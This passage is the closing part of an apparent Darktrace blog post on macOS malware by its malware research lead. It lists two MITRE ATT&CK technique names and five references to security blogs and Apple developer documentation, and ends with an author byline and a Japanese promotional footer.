
T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

Continue reading
About the author
Tara Gould
Malware Research Lead
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ